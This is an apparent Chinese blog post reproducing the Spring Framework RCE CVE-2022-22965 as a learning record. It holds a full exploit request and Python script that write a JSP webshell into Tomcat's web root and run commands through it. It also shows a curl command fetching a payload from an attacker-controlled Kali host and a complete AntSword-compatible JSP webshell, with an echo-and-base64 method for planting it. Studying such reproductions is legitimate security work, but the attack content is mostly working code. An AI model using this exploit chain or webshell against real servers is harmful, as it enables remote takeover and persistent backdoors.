文章出处:
Spring RCE 漏洞 CVE-2022-22965复现分析_@Camelus的博客-CSDN博客
蚁剑jsp一句话木马_123hello123的博客-CSDN博客_jsp一句话木马
Linux下用base64命令加解密字符串_对酒当歌丶人生几何的博客-CSDN博客_linux base64加密
注:小白一枚,记录一下漏洞复现中的问题,可能存在对原理认识上的错误,请多多指正!!!
简介
1、spring framework
它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。
2、spring boot
但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。
Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用
漏洞介绍
Spring Framework RCE, Early Announcement
受影响版本:
-
Spring Framework < 5.3.18
-
Spring Framework < 5.2.20
-
JDK ≥ 9
不受影响版本
-
Spring Framework = 5.3.18
-
Spring Framework = 5.2.20
-
JDK < 9
-
与Tomcat版本有关
漏洞复现
1、BP抓包,增加红框内容(15、16需要空着,不然打不进去)
?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
suffix: %>//
c1: Runtime
c2: <%
发送后:返回页面200
访问目录:fuck.jsp?pwd=fuck&cmd=id,可以修改id命令执行
大佬写的脚本:
import requests
headers={
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%"
}
payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'
try:
U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
U2=requests.get(url=ip+payload2,verify=False,timeout=3)
if U2.status_code == 200:
print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
print(e)
2、访问成功后,可以尝试从kali中下载文件,文件中可以存放蚁剑可以连接的jsp一句话木马
kali开启监听,用命令行执行下载文件
python3 -m http.server 6666 #kali用python开启监听
curl 192.168.135.131:6666/index.txt -o ./webapps/ROOT/a.jsp
#命令行执行命令,将文件下载到a.jsp,需要知道相对路径
将蚁剑可以连接的一句话木马(放入index.txt中):
个人理解(可能是多此一举) :这个地方,jsp的一句话,需要对应的webshell工具,比如:上方payload中插入的一句话,我自己尝试蚁剑连接并没有成功,所以有了第二部分的内容
下方一句话:密码passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑连接页面:
3、echo利用方法
(目标主机不需要联网,但是此漏洞复现,没有成功实现,原因不大清楚)
可以在rce处,执行echo命令,将jsp马,打入保存为a.jsp jsp马,echo时候,例如:$字符可能会进行转义,不能完整保存到a.jsp 可以使用bash64编码后保存到文件中
命令格式(其他echo用法可以再找一找):
echo '一句话base64编码' | base64 -d > b.jsp
保存结果:
到这里就可以用蚁剑连接b.jsp